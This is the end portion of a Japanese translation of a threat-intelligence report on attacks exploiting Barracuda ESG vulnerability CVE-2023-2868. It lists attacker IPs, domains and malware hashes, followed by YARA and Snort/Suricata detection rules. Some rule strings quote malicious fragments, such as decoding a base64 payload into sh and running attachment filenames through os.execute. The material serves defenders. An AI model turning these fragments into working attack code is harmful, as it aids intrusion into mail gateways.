CVE-2023-2868の悪用に関連するケースでお客様を支援するため、記載した著者以外にも数十人のコンサルタントおよびアナリストが活動しています。また、Barracidaのインシデントレスポンスチーム、Mandiant FLAREチーム、Mandiant Adversary MethodsのJakub Jozwiak、およびMandiant Incident ResponseのFernando Tomlinson、Josh Villanueva、Alyssa Glickmanの貴重なサポートにも特に感謝します

Indicators of Compromise (IOCs)

Network IOCs

IP Address

ASN

Netblock

Location

101.229.146.218

4812

China Telecom

CN

103.146.179.101

136933

Gigabitbank Global

HK

103.27.108.62

132883

Topway Global Limited

HK

103.77.192.13

10222

Multibyte Info Technology Limited

HK

103.77.192.88

10222

Multibyte Info Technology Limited

HK

103.93.78.142

61414

Edgenap Ltd

JP

104.156.229.226

20473

Choopa, LLC

US

104.223.20.222

8100

CloudVPS

US

107.148.149.156

399195

Pegtechinc-ap-04

US

107.148.219.227

54600

Peg Tech

US

107.148.219.53

54600

Peg Tech

US

107.148.219.54

54600

Peg Tech

US

107.148.219.55

54600

Peg Tech

US

107.148.223.196

54600

Peg Tech

US

107.173.62.158

20278

Nexeon Technologies

US

137.175.19.25

54600

Peg Tech

US

137.175.28.251

54600

Peg Tech

US

137.175.30.36

54600

Peg Tech

US

137.175.30.86

54600

Peg Tech

US

137.175.51.147

54600

Peg Tech

US

137.175.53.17

54600

Peg Tech

US

137.175.53.170

54600

Peg Tech

US

137.175.53.218

54600

Peg Tech

US

137.175.60.252

54600

Peg Tech

US

137.175.60.253

54600

Peg Tech

US

137.175.78.66

54600

Peg Tech

US

139.84.227.9

20473

Choopa, LLC

ZA

155.94.160.72

8100

CloudVPS

US

182.239.114.135

9231

China Mobile Hong Kong

HK

182.239.114.254

9231

China Mobile Hong Kong

HK

192.74.226.142

54600

Peg Tech

CN

192.74.254.229

54600

Peg Tech

US

198.2.254.219

54600

Peg Tech

US

198.2.254.220

54600

Peg Tech

US

198.2.254.221

54600

Peg Tech

US

198.2.254.222

54600

Peg Tech

US

198.2.254.223

54600

Peg Tech

US

199.247.23.80

20473

Choopa, LLC

DE

213.156.153.34

202422

G-Core Labs S.A.

US

216.238.112.82

20473

Choopa, LLC

BR

23.224.42.29

40065

Cnservers LLC

US

23.224.78.130

40065

Cnservers LLC

US

23.224.78.131

40065

Cnservers LLC

US

23.224.78.132

40065

Cnservers LLC

US

23.224.78.133

40065

Cnservers LLC

US

23.224.78.134

40065

Cnservers LLC

US

37.9.35.217

202422

G-Core Labs S.A.

US

38.54.113.205

138915

Kaopu Cloud HK Limited

MY

38.54.1.82

138915

Kaopu Cloud HK Limited

SG

38.60.254.165

174

Cogent Communications

US

45.63.76.67

20473

Choopa, LLC

US

52.23.241.105

14618

Amazon.com

US

64.176.4.234

20473

Choopa, LLC

US

64.176.7.59

20473

Choopa, LLC

US

Domain

bestfindthetruth[.]com

fessionalwork[.]com

gesturefavour[.]com

goldenunder[.]com

singamofing[.]com

singnode[.]com

togetheroffway[.]com

troublendsef[.]com

Endpoint IOCs

Hash

Filename

Type

0d67f50a0bf7a3a017784146ac41ada0

snapshot.tar

Payload Attachment

42722b7d04f58dcb8bd80fe41c7ea09e

11111.tar

Payload Attachment

5392fb400bd671d4b185fb35a9b23fd3

imgdata.jpg

Payload Attachment

ac4fb6d0bfc871be6f68bfa647fc0125

snapshot.tar

Payload Attachment

878cf1de91f3ae543fd290c31adcbda4

snapshot.tar

Payload Attachment

b601fce4181b275954e3f35b18996c92

install_reuse.tar

SALTWATER install

827d507aa3bde0ef903ca5dec60cdec8

mod_udp.so

SALTWATER variant

c56d7b86e59c5c737ee7537d7cf13df1

autoins

SALTWATER install

6f79ef58b354fd33824c96625590c244

intent_reuse

SALTWATER install

349ca242bc6d2652d84146f5f91c3dbb

intentbas

SALTWATER install

1fea55b7c9d13d822a64b2370d015da7

mod_udp.so

SALTWATER variant

64c690f175a2d2fe38d3d7c0d0ddbb6e

mod_udp.so

SALTWATER variant

4cd0f3219e98ac2e9021b06af70ed643

mod_udp.so

SALTWATER variant

3b93b524db66f8bb3df8279a141734bb

mod_rtf.so

SALTWATER variant

8fdf3b7dc6d88594b8b5173c1aa2bc82

mod_rft.so

SALTWATER Variant

4ec4ceda84c580054f191caa09916c68

mod_rft.so

SALTWATER variant

1b1830abaf95bd5a44aa3873df901f28

mod_rft.so

SALTWATER variant

4ca4f582418b2cc0626700511a6315c0

BarracudaMailService

SEASPY Variant

c528b6398c86f8bdcfa3f9de7837ebfe

update_v2.sh

SEASPY Install

2d841cb153bebcfdee5c54472b017af2

rc

SEASPY launcher

c979e8651c1f40d685be2f66e8c2c610

rc

SEASPY launcher

1c042d39ca093b0e7f1412453b132076

rc

SEASPY launcher

ba7af4f98d85e5847c08cf6cefdf35dc

rc

SEASPY launcher

82eaf69de710abdc5dea7cd5cb56cf04

BarracudaMailService

SEASPY Variant

e80a85250263d58cc1a1dc39d6cf3942

BarracudaMailService

SEASPY Variant

5d6cba7909980a7b424b133fbac634ac

BarracudaMailService

SEASPY Variant

1bbb32610599d70397adfdaf56109ff3

BarracudaMailService

SEASPY Variant

4b511567cfa8dbaa32e11baf3268f074

BarracudaMailService

SEASPY Variant

a08a99e5224e1baf569fda816c991045

BarracudaMailService

SEASPY Variant

19ebfe05040a8508467f9415c8378f32

BarracudaMailService

SEASPY Variant

831d41ba2a0036540536c2f884d089f9

sendscd

SEASPY Variant

db4c48921537d67635bb210a9cb5bb52

BarracudaMailService

SEASPY Variant

694cdb49879f1321abb4605adf634935

install_bvp74_auth.tar

SEASPY install

5fdee67c82f5480edfa54afc5a9dc834

install_bvp74_auth.tar

SEASPY install

8fc03800c1179a18fbd58d746596fa7d

update_version

SEASPY launcher

17696a438387248a12cc911fbae8620e

resize_risertab

SEASPY launcher

4c1c2db989e0e881232c7748593d291e

update_version

SEASPY launcher

3e3f72f99062255d6320d5e686f0e212

update_version

SEASPY launcher

7d7fd05b262342a9e8237ce14ec41c3b

update_version

SEASPY launcher

2e30520f8536a27dd59eabbcb8e3532a

update_version

SEASPY launcher

0245e7f9105253ecb30de301842e28e4

update_version

SEASPY launcher

0c227990210e7e9d704c165abd76ebe2

update_version

SEASPY launcher

c7a89a215e74104682880def469d4758

update_version

SEASPY launcher

1bc5212a856f028747c062b66c3a722a

update_version

SEASPY launcher

a45ca19435c2976a29300128dc410fd4

update_version

SEASPY launcher

132a342273cd469a34938044e8f62482

update_version

SEASPY launcher

23f4f604f1a05c4abf2ac02f976b746b

resize2fstab

SEASPY Variant

45b79949276c9cb9cf5dc72597dc1006

resize_reisertab

SEASPY Variant

bef722484288e24258dd33922b1a7148

resize2fstab

SEASPY Variant

0805b523120cc2da3f71e5606255d29c

resize_reisertab

SEASPY Variant

69ef9a9e8d0506d957248e983d22b0d5

resize2fstab

SEASPY Variant

3c20617f089fe5cc9ba12c43c6c072f5

resize2fstab

SEASPY Variant

76811232ede58de2faf6aca8395f8427

resize2fstab

SEASPY Variant

f6857841a255b3b4e4eded7a66438696

resize_reisertab

SEASPY Variant

2ccb9759800154de817bf779a52d48f8

install_helo.tar

SEASIDE Install

cd2813f0260d63ad5adf0446253c2172

mod_require_helo.lua

SEASIDE variant

177add288b289d43236d2dba33e65956

rverify

WHIRLPOOL VARIANT

87847445f9524671022d70f2a812728f

mod_content.lua

SKIPJACK

35cf6faf442d325961935f660e2ab5a0

mod_attachment.lua

SEASPRAY

ce67bb99bc1e26f6cb1f968bc1b1ec21

install_att_v2.tar

SEASPRAY install

e4e86c273a2b67a605f5d4686783e0cc

mknod

SKIPJACK Persistence

ad1dc51a66201689d442499f70b78dea

get_fs_info.pl

SKIPJACK Persistence

9033dc5bac76542b9b752064a56c6ee4

nfsd_stub.ko

SANDBAR

e52871d82de01b7e7f134c776703f696

rverify

WHIRLPOOL Variant

446f3d71591afa37bbd604e2e400ae8b

mknod

SEASPRAY Persistence

666da297066a2596cacb13b3da9572bf

mod_sender.lua

SEASPRAY

436587bad5e061a7e594f9971d89c468

saslautchd

WHIRLPOOL Variant

85c5b6c408e4bdb87da6764a75008adf

rverify

WHIRLPOOL Variant

407738e565b4e9dafb07b782ebcf46b0

test1.sh

Reverse shell cronjob

cb0f7f216e8965f40a724bc15db7510b

update_v35.sh

Bash Script

N/A - multiple version identified

1.sh

Bash Script

19e373b13297de1783cecf856dc48eb0

cl

proxy client

N/A

aacore.sh

reverse shell cronjob

N/A

appcheck.sh

reverse shell cronjob

881b7846f8384c12c7481b23011d8e45

update_v31.sh

Bash Script

f5ab04a920302931a8bd063f27b745cc

intent_helo

Bash Script

N/A

p

Named pipe used in reverse shell

N/A

p7

Named pipe used in reverse shell

N/A

t

Named pipe used in reverse shell

N/A

core.sh

Reverse shell cronjob

N/A

p1

Named pipe used in reverse shell

177add288b289d43236d2dba33e65956

pd

WHIRLPOOL Variant

N/A

Named pipe used in reverse shell

d098fe9674b6b4cb540699c5eb452cb5

test.sh

Reverse shell cronjob

N/A

ss

Named pipe used in reverse shell

Detection Rules

YARA Rules

rule M_Hunting_Exploit_Archive_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archives with /tmp/ base64 encoded being part of filename of enclosed files"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $b64_tmp = "/tmp/" base64

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $b64_tmp in (i * 512 .. i * 512 + 250)

        )

}

rule M_Hunting_Exploit_Archive_3

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archive with openssl base64 encoded being part of filename of enclosed files"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $b64_openssl = "openssl" base64

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $b64_openssl in (i * 512 .. i * 512 + 250)

        )

}

rule M_Hunting_Exploit_Archive_CVE_2023_2868

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for TAR archive with single quote/backtick as start of filename of enclosed files. CVE-2023-2868"

        md5 = "0d67f50a0bf7a3a017784146ac41ada0"

    strings:

        $ustar = { 75 73 74 61 72 }

        $qb = "'`"

    condition:

        filesize < 1MB and

        $ustar at 257 and

        for any i in (0 .. #ustar) : (

            $qb at (@ustar[i] + 255)

        )

}

rule M_Hunting_Linux_SALTWATER_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SALTWATER samples."

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $s1 = { 71 75 69 74 0D 0A 00 00 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }

        $s2 = { 00 8B D5 AD 93 B7 54 D5 00 33 8C 25 3D 9C 17 70 08 F9 0C 1A 41 71 55 36 1A 5C 4B 8D 29 7E 0D 78 }

        $s3 = { 71 75 69 74 0D 0A 00 00 00 12 8D 03 07 9C 17 92 08 F0 0C 9A 01 06 08 00 1A 0C 0B 8D 18 0A 0D 0A }

    condition:

        uint32(0) == 0x464c457f and any of them

}

rule M_Hunting_Linux_SALTWATER_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SALTWATER samples."

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $c1 = "TunnelArgs"

        $c2 = "DownloadChannel"

        $c3 = "UploadChannel"

        $c4 = "ProxyChannel"

        $c5 = "ShellChannel"

        $c6 = "MyWriteAll"

        $c7 = "MyReadAll"

        $c8 = "Connected2Vps"

        $c9 = "CheckRemoteIp"

        $c10 = "GetFileSize"

        $s1 = "[-] error: popen failed"

        $s2 = "/home/product/code/config/ssl_engine_cert.pem"

        $s3 = "libbindshell.so"

    condition:

        uint32(0) == 0x464c457f and (any of ($s*) or 4 of ($c*))

}

rule FE_Hunting_Linux_Funchook_FEBeta

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in Funchook library - https://github.com/kubo/funchook"

        md5 = "827d507aa3bde0ef903ca5dec60cdec8"

    strings:

        $f = "funchook_"

        $s1 = "Enter funchook_create()"

        $s2 = "Leave funchook_create() => %p"

        $s3 = "Enter funchook_prepare(%p, %p, %p)"

        $s4 = "Leave funchook_prepare(..., [%p->%p],...) => %d"

        $s5 = "Enter funchook_install(%p, 0x%x)"

        $s6 = "Leave funchook_install() => %d"

        $s7 = "Enter funchook_uninstall(%p, 0x%x)"

        $s8 = "Leave funchook_uninstall() => %d"

        $s9 = "Enter funchook_destroy(%p)"

        $s10 = "Leave funchook_destroy() => %d"

        $s11 = "Could not modify already-installed funchook handle."

        $s12 = "  change %s address from %p to %p"

        $s13 = "  link_map addr=%p, name=%s"

        $s14 = "  ELF type is neither ET_EXEC nor ET_DYN."

        $s15 = "  not a valid ELF module %s."

        $s16 = "Failed to protect memory %p (size=%"

        $s17 = "  protect memory %p (size=%"

        $s18 = "Failed to unprotect memory %p (size=%"

        $s19 = "  unprotect memory %p (size=%"

        $s20 = "Failed to unprotect page %p (size=%"

        $s21 = "  unprotect page %p (size=%"

        $s22 = "Failed to protect page %p (size=%"

        $s23 = "  protect page %p (size=%"

        $s24 = "Failed to deallocate page %p (size=%"

        $s25 = " deallocate page %p (size=%"

        $s26 = "  allocate page %p (size=%"

        $s27 = "  try to allocate %p but %p (size=%"

        $s28 = "  allocate page %p (size=%"

        $s29 = "Could not find a free region near %p"

        $s30 = "  -- Use address %p or %p for function %p"

    condition:

        uint32(0) == 0x464c457f and (#f > 5 or 4 of ($s*))

}

rule M_Hunting_Linux_SEASPY_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASPY samples."

        md5 = "4ca4f582418b2cc0626700511a6315c0"

    strings:

        $s1 = "usage: ./BarracudaMailService <Network-Interface>. e.g.: ./BarracudaMailService eth0"

        $s2 = "NO port code" 

        $s3 = "pcap_lookupnet: %s"

        $s4 = "Child process id:%d"

        $s5 = "[*]Success!"

        $s6 = "enter open tty shell..."

    condition:

        uint32(0) == 0x464c457f and all of ($s*)

}

rule M_Hunting_Lua_SEASIDE_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASIDE samples."

        md5 = "cd2813f0260d63ad5adf0446253c2172"

    strings:

        $s1 = "function on_helo()"

        $s2 = "local bindex,eindex = string.find(helo,'.onion')" 

        $s3 = "helosend = 'pd'..' '..helosend" 

        $s4 = "os.execute(helosend)" 

    condition:

        (filesize < 1MB) and all of ($s*)

}

rule M_Hunting_SKIPJACK_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SKIPJACK installation script."

        md5 = "e4e86c273a2b67a605f5d4686783e0cc"

    strings:

        $str1 = "hdr:name() == 'Content-ID'" base64

        $str2 = "hdr:body() ~= nil" base64

        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" base64

        $str4 = "openssl aes-256-cbc" base64

        $str5 = "mod_content.lua" 

        $str6 = "#!/bin/sh" 

    condition:

        all of them

}

rule M_Hunting_Lua_SKIPJACK_2

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SKIPJACK samples."

        md5 = "87847445f9524671022d70f2a812728f"

    strings:

        $str1 = "hdr:name() == 'Content-ID'" 

        $str2 = "hdr:body() ~= nil" 

        $str3 = "string.match(hdr:body(),\"^[%w%+/=\\r\\n]+$\")" 

        $str4 = "openssl aes-256-cbc" 

        $str5 = "| base64 -d| sh 2>" 

    condition:

        all of them

}

rule M_Hunting_Lua_SEASPRAY_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in SEASPRAY samples."

        md5 = "35cf6faf442d325961935f660e2ab5a0"

    strings:

        $str1 = "string.find(attachment:filename(),'obt075') ~= nil" 

        $str2 = "os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())" 

        $str3 = "os.execute('rverify'..' /tmp/'..attachment:filename())" 

    condition:

        all of them

}

rule M_Hunting_Linux_WHIRLPOOL_1

{

    meta:

        author = "Mandiant"

        description = "Hunting rule looking for strings observed in WHIRLPOOL samples."

        md5 = "177add288b289d43236d2dba33e65956"

    strings:

        $s1 = "error -1 exit" fullword

        $s2 = "create socket error: %s(error: %d)\n" fullword

        $s3 = "connect error: %s(error: %d)\n" fullword

        $s4 = {C7 00 20 32 3E 26 66 C7 40 04 31 00}

        $c1 = "plain_connect" fullword

        $c2 = "ssl_connect" fullword

        $c3 = "SSLShell.c" fullword

    condition:

        filesize < 15MB and uint32(0) == 0x464c457f and (all of ($s*) or all of ($c*))

}

Snort/Suricata

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_oXmp"; flags:S; dsize:>9; content:"oXmp"; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_TfuZ"; flags:S; dsize:>9; content:"TfuZ"; offset:0; depth:4; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1;)

Suricata >= 5.0.4

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_1358"; flags:S; tcp.hdr; content:"|05 4e|"; offset:22; depth:2; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58928"; flags:S; tcp.hdr; content:"|e6 30|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_58930"; flags:S; tcp.hdr; content:"|e6 32|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000004; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60826"; flags:S; tcp.hdr; content:"|ed 9a|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000005; rev:1;)

 

alert tcp any any -> <ESG_IP> [25,587] (msg:"M_Backdoor_SEASPY_60828"; flags:S; tcp.hdr; content:"|ed 9c|"; offset:28; depth:2; byte_test:4,>,16777216,0,big,relative; byte_test:2,>,0,0,big,relative; threshold:type limit,track by_src,count 1,seconds 3600; sid:1000006; rev:1;)

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A106-463

Command and Control - UNC4841, DNS Query, Variant #1

A106-464

Malicious File Transfer - SALTWATER, Download, Variant #1

A106-465

Malicious File Transfer - SEASPY, Download, Variant #1

A106-466

Malicious File Transfer - SEASIDE, Download, Variant #1

A106-506

Phishing Email - UNC4841, CVE-2023-2868, Malicious Attachment, Variant #1

 

※本ブログは、2023年6月15日に公開されたブログ「Barracuda ESG Zero-Day Vulnerability (CVE-2023-2868) Exploited Globally by Aggressive and Skilled Actor, Suspected Links to China」の日本語抄訳版です。